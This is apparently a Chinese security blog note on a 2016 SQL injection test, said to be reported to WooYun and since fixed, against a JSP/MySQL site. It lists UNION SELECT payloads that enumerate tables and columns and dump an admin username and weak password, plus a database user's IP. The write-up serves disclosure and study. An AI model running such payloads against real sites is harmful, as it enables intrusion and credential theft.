注入笔记 乐m

声明

这是一次于2016年9月的注入测试,已上报乌云,现在漏洞已经失效,放出来记录以下吧。已隐去关键信息。

漏洞链接
1
https://example.com/LMFree/affiche.do?method=showAffiche&id=38
环境 jsp + mysql
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
    database() 数据库名 lemian
user() 数据库用户 lemian@123.57.189.91
version() 数据库版本 5.5.24-log
@@version_compile_os 服务器操作系统 Linux
@@datadir 获得数据库路径 /data1/lemian_mysql/data/

查表名 information_schema.tables

https://example.com/LMFree/affiche.do?method=showAffiche&id=38 and 1=2 UNION SELECT 1,group_concat(table_name),3,4,5,@@version_compile_os,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=0x6C656D69616E


t_affiche,t_app,t_app_category,t_app_copy,t_app_version,t_app_version_copy,t_auto_update,t_banner,t_banner_log,t_client_app,t_comment,t_developer,t_download,t_member,t_menu,t_recharge,t_recharge_report,t_role,t_role_menu,t_role_user,t_score_present,t_search_log,t_share,t_show_log,t_sms_log,t_suggestion,t_sys_operate_log,t_system_set,t_syst


information_schema.columns:记录所有数据库名下的所有列名信息的表


https://example.com/LMFree/affiche.do?method=showAffiche&id=38 and 1=2 UNION SELECT 1,2,group_concat(column_name),4,5,@@version_compile_os,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x745F73797374656D5F75736572


t_system_user表
id,user_name,user_pwd,department,mobile,enabled,email,remark,user_position,user_type,login_count,status,create_time,update_time

查用户名密码

https://example.com/LMFree/affiche.do?method=showAffiche&id=38 and 1=2 UNION SELECT 1,2,user_name,4,5,user_pwd,7,8,9,10,11,12,13,14,15 from t_system_user

后台账号

admin
123456

查询menu拿到后台地址

menu
id,name,alias_name,parent_id,order_num,url,permission,is_show,status,remark

后台地址

https://example.com/manage/goLogin.htm